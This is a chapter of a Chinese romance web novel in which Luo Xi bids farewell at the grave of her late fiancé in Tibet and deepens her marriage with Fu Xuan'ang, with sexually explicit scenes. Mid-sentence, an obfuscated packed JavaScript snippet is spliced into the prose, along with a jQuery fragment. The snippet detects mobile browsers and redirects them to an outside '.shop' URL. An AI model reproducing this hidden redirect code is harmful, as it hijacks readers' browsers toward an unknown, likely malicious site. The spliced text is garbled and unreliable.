“溪溪,我要去藏区了。”
电话里,梁子安同她说自己的近况,快要挂断时的那句话,让洛溪浑身一僵。
原先的困意在此时猛然惊醒。
“这么突然?”洛溪不自觉地坐直身体,“到时候我去找你。”
“之前就决定好了,就是一直没敢告诉你,就两年。”
两年……
说快也快,说慢也慢,可洛溪不愿意异地恋。
她呼吸一窒,缓了许久才堪堪开口:“那……我们。”
“不。”电话那头的梁子安想都未想就拒绝洛溪接下来想说的话,他叹了口气,“我回来我们就结婚。”
洛溪听到“结婚”两个字时,整个人一僵,她揉了揉有些发胀的额角。
“不是子安,你不要去……”
“不要去那边。”
“不要!”
深夜,她从床上猛然惊醒。
冷汗浸透丝绸睡衣,就连发丝也黏在颈侧,躺在身侧的人轻嘶一声,似是被牵扯到伤处。
她感觉到一股暖流顺着腿蜿蜒而下,染红了红色床单,瞬间变成深红色,看起来格外惹眼。她怔愣片刻,指尖微微发抖,想要抽身却被身旁人扣住手腕。
洛溪冷眸看他,眼里满是警告:“傅轩昂,下次你要是再不识相一点,我们分开吧。”
一句话,满是威胁与决绝。
傅轩昂却低笑出声,他从身后将她圈入怀中,温热的呼吸拂过她耳畔,“我不是故意的,后半夜的时候破了,而且就这一次不会有的。”
她并未理会傅轩昂,起身走进了浴室。
水声哗哗作响,她站在淋浴喷头下,任热水冲刷身体,当暖意蔓延全身时,她发现自己的指尖冰凉一片。
是啊,就这次应该不会有的,之前跟温时卿在一起时,每次都没有任何的措施,可也未曾有过这般意外。
她怀疑过是不是吃那些药的缘故,所以伤了身体?可每次体检都好像没有任何的问题。
洛溪烦躁地抓了抓头发,她透过纱帘看向外面的那面镜子,映照着她的身形,面上带着几分倦意。
啪嗒。
门从外面被打开,傅轩昂赤着脚走进浴室,伸手关掉了喷头。带有些凉意的水珠顺着他结实的胸膛滑落,洛溪抬眸看了他一眼,下一刻就被遮住眼睛。
他亲了亲她的耳畔,把人揽入怀中,肌肤相贴那一刻,她总算是回了些神。
洛溪的长睫轻扫过他的掌心,带着些许痒意,下一瞬耳边传来了水声,热水顺着两人交缠的身影滑落,氤氲水汽模糊了镜面。
她迈步上前,抱着傅轩昂,语气软了半分:“我还是吃药吧,今晚先放过你。”
闻言,傅轩昂的眸色暗了暗,他不自觉地滚动有些发烫的喉结。
他低头吻住她的发旋,动作轻柔。还在沉浸时却被她一把往前拉去,踉跄几步后背抵上冰凉瓷砖,呼吸骤然一滞。
洛溪蹭着他的唇瓣,暧昧地说:“可以不要那么绅士,我喜欢野蛮一点的。”
话音刚落,傅轩昂眸色骤深,钳住她手腕抵在头顶,她的脚尖微微踮起,直到无法承载她的重量。
八月中旬,她再次入藏。
当傅轩昂提出要跟她一起去时,她拒绝了,并且十分干脆。
她收拾着东西,坐在沙发上的人再次询问:“真的不需要我跟你一块去?”
“不用,我就去看看他。”
看谁?
即使洛溪不说,傅轩昂心里也知道。当年梁子安和洛溪都已经订婚了,差的不过是到年龄就领证,谁曾想会发生后面的事情。
“洛溪,我是你……”
“傅轩昂,请你相信我一点好吗?”洛溪觉得有些烦躁,她压制住心中的怒意,“我就去三天,而且你还要忙工作。”
“好吧,那你注意安全。”
确实如此,他不能再阻拦,也不想让她为难。
飞机落地时,洛溪给他发了条消息,跟他说她已经安全降落。
第三年,她是过来跟梁子安做一个彻底的告别。她站在墓碑前,脑海中模糊的身影,在此时变得清晰。
洛溪擦了擦上面的黑白照片,照片上的人仍旧停留在二十三岁那年。
“第三年了梁子安,我结婚了,你以后不要再来找我了,那样不好,而且我好像已经能坦然接受你的离开了,我不知道第四年会不会来看你,但我不会忘记你。”
她站在那里,自言自语说了许多。直到天色微暗,她才离开。
这次,她没有任何的恋恋不舍,没有频频回头。
因为她在来之前就找到了那个人,也放下了对梁子安的执念。
她回到酒店,打开手机看到傅轩昂发来的消息:“明天我去接你,妈说一块吃个饭。”
洛溪转手回了个“好”字。
她回想起结婚前双方父母见面的场景,顿时觉得有些头疼。
傅家向来是个比较传统的家庭,原先听到他们二人结婚,自是高兴的不得了。只是在听到洛溪不打算大肆举办婚礼时,对方父母面色一沉。
婚后,她跟傅轩昂自是住在外面,他们在市区买了一套婚房,以免跟长辈发生不必要的冲突。
傅轩昂母亲多次暗示他们尽快生孩子,洛溪只是笑着没说话,也从不正面回应。
他们结婚不过几个月,相处也不过大半年的时间。还在学校上学的她,可不想怀着孩子毕业,更不想在就业不稳定的情况下,还要面临着生养孩子。
她望向窗外渐暗的天色,手机屏幕又一次亮起,是傅轩昂发来的消息:[周末我休息,给你去买几套衣服。]
洛溪看到这条消息,心下暖了半分,她挠了挠有些发烫的脸颊,回了个“好”字。
夜晚,她睡得格外深沉,不似上次那般病情复发。
这一觉她睡到了天亮,醒来时窗外已有晨光洒落。她收拾东西,从酒店离开也不过是早上九点,当飞机落地的那一瞬间,她的那颗心也放下了。
嘀嘀——
刚到停车场,就听到一阵车鸣声。
她侧过头看去,发现傅轩昂就坐在那辆黑色的车内。刚走过去傅轩昂就帮她放好行李,坐上副驾驶时,还未反应过来下颚就被人擒住,他低头吻住她,像是要把这几日的思念尽数倾注。
洛溪张唇,任由他的侵略,心跳在密不透风的吻里失序,鼻尖抵着鼻尖,呼吸缠绕呼吸。吻她的人似是不太满足那般,加深了这个吻,喉间溢出低哑的轻喃:“想你了。”
她微微一怔,随即笑道:“先回家还是?”
“这阵子学校放假我休息,今天先带你去玩,明天晚上回家吃饭,然后再去逛逛。”
傅轩昂低着她的额头,摩挲着她的唇瓣,轻声低语。
对此,洛溪自是没有任何的抗拒,她抓住了傅轩昂想要继续作乱的手,“这个玻璃可是在外面看的一清二楚。”
一句话点醒了傅轩昂,他略微失笑,捏了捏她的柔软处,“先放过你。”
两人结婚后,一直都没有去蜜月旅行。
洛溪一开始是不情愿的,但被傅轩昂说服了,可又被一些事情给耽搁了,只好一只拖着。
他带她到了一处山上的别墅,微风拂过带来阵阵清新的气息。车缓缓开入一座庭院中,随着门口门牌识别,大门缓缓打开。
车稳妥停在院内,当她站在门前时,发现一楼正面是用特质的玻璃制成,往里面看去漆黑一片,二楼则是木质结构的观景台,隐约可见几盆绿植摆放在角落。
傅轩昂牵着她的手往里走去,门感应到人自动打开,露出里面的精致。
屋内弥漫着一股很淡檀木气息,她脚步一顿,侧过头看向傅轩昂,不知他这是要干什么?
“想住多久都可以,在这里不会有人打扰我们。”他故意在她耳边低语,温热的气息拂过耳畔,惹得她耳垂微颤。
洛溪只觉得浑身一颤,几天没有得到缓解,明显感觉到身体的某处开始蠢蠢欲动,尤其是现在还有致命的吸引。
这里只有他们两个人。
“那你……带东西了吗?”她轻抚过他滚烫的喉结,指尖微微用力,感受到他喉间的滚动。
他低笑一声,反手将她压向墙壁,眸色深沉如墨,“你说呢?”说罢,他故意往前一步,把人抵在墙壁之间。
身体的反应让她呼吸一窒,长裙的下摆被他缓缓撩起,指尖沿着纤细的腰线游走,她感觉到一阵战栗。
他的吻顺着唇角滑落至颈侧,带着灼热的温度一路向下,她仰头轻喘,指尖陷入他宽厚的肩背。后背紧贴着冰冷的墙壁,前面则是一片炽热,让她水火不容。
当他触碰到她大腿根
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276493|198270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处时,蓦地一怔,眼里满是不可置信。
洛溪轻咬他的唇瓣,眼尾泛着潮红,喘息道:“喜欢吗?”
“自然。”
在那一刻,傅轩昂的欣喜若狂。洛溪的改变让他明白,她是真的放下了梁子安,并且开始接纳他,开始允许他加入她的世界……
他可以慢慢等。
当得到缓解那一刻,两人皆是长舒一口气,窗外的风轻轻拍打着玻璃,屋内的气息依旧缠绵。
轰隆轰隆——
随着几道雷声落下,大雨倾盆。
洛溪站在玻璃前,看着外面昏暗的天色,雨水狠狠地砸在玻璃上。
嘀嗒嘀嗒。
地上湿濡一片,水渍顺着她的脚踝滑落,凉意爬上肌肤。
他把人转过身,大掌贴上她后颈缓缓揉捏,指节沿着脊骨一寸寸下滑,惹得她轻颤,傅轩昂见状,笑着在她耳边说了些什么,她瞳孔顿时一缩,还未抗拒就被他抱上了楼。
八月的西菱仍旧火热,即使下雨也是一片暑气。
叮咚——
随着电梯停下,傅轩昂带她到了顶楼,入目的便是一片花房,中间还有一个吊床,周围则是用透明玻璃制成,不管里外都能看得一清二楚。
雨水敲打在玻璃上,又顺着往下滑,同那些浑浊混在一块,不知流向何处。
嘎吱——
随着他们的动作,吊床发出一道道声音,混杂着打雷的声音,听着倒不是很真切。她伏在他肩头,听见雨声与心跳交织成一片混沌。
吊床摇晃,玻璃外的灰暗天空被水雾笼罩,仿佛整个世界只剩下这方寸之地。
洛溪紧抓着他的后背,划出一道道红痕。
周末那日,她在傅轩昂的监督下去了商场。
她不是很喜欢人多的场合,尤其是现在人烟稀少的商场,总是透露着一股惨淡的气息。
曾经线下渠道非常受欢迎,是个女性就喜欢到处逛逛,跟着好朋友说笑。现在的他们,几乎都是抱着电子产品度过。
她不知道想买什么,看着那些差不多款式的女装,没有任何的兴趣。之前那些牌子的款式刚刚上市,傅萱斓就给她送到家里,说是有合作,多的穿不完。
“温首长,你们也来逛街啊?”傅轩昂的声音,拉回她的思绪,她顺着他的目光看去,站在一家贴身衣服店外面的那人,不正是许久未见的温时卿吗?
温时卿微微一怔,随即露出温和笑意,“是你们啊,来买衣服吗?”
“嗯,带溪溪出来逛逛。”他故意把“溪溪”那两个字说得及其亲密绵长,“温首长是陪家里人过来吗?”
他摇了摇头,往店内看了眼,“正好最近休假,陪我女朋友过来看看。”
女朋友?
洛溪不明所以,不自觉地看向店内正在挑选内衣的那道身影,身形纤细圆润,长发随意挽起,侧颜温婉大方,一看就是贤妻良母。
而她……纯纯一副学生样。
她心头一紧,但看到眼前的人对她没有丝毫的眷恋,连同那些晚上的温柔都不曾留下几分。
洛溪知道,他们两人之间没有半分感情。
“溪溪,要不要去买几套睡裙,正好那几件都坏了。”
“好。”
当他们两人进去时,刚好同温时卿的女朋友侧身而过,双方友好地互相晗了颔首,并未说话却暗藏针锋。
温时卿带着人离开,手臂被她揽着,“买的什么,还不让我陪你一起。”
女生调皮地笑着说:“不告诉你!”
“行,吃完饭我送你回家,然后我后天就要回部队了。”
“啊?这么快!”
“……”
洛溪站在货架前,指尖无意识摩挲着一件红色的吊带丝质睡裙,看着几乎透明,身旁的导购似是看出她的心思,热情地给她介绍。
“这是我们店的新款,最适合新婚夫妇,还有这套黑色的,神秘又具有吸引力……”
她耐心地听导购介绍每一套设计的理念,她原先就想要黑色和红色的,不曾想傅轩昂在结账时,全都给她买了下来。
“没必要买那么多。”
傅轩昂笑了笑,低头在她的耳边低喃几句,洛溪愣了愣,没料到开荤之后的男人进步这么快。
她失笑地摇了摇头,没有继续顺着他的话说下去。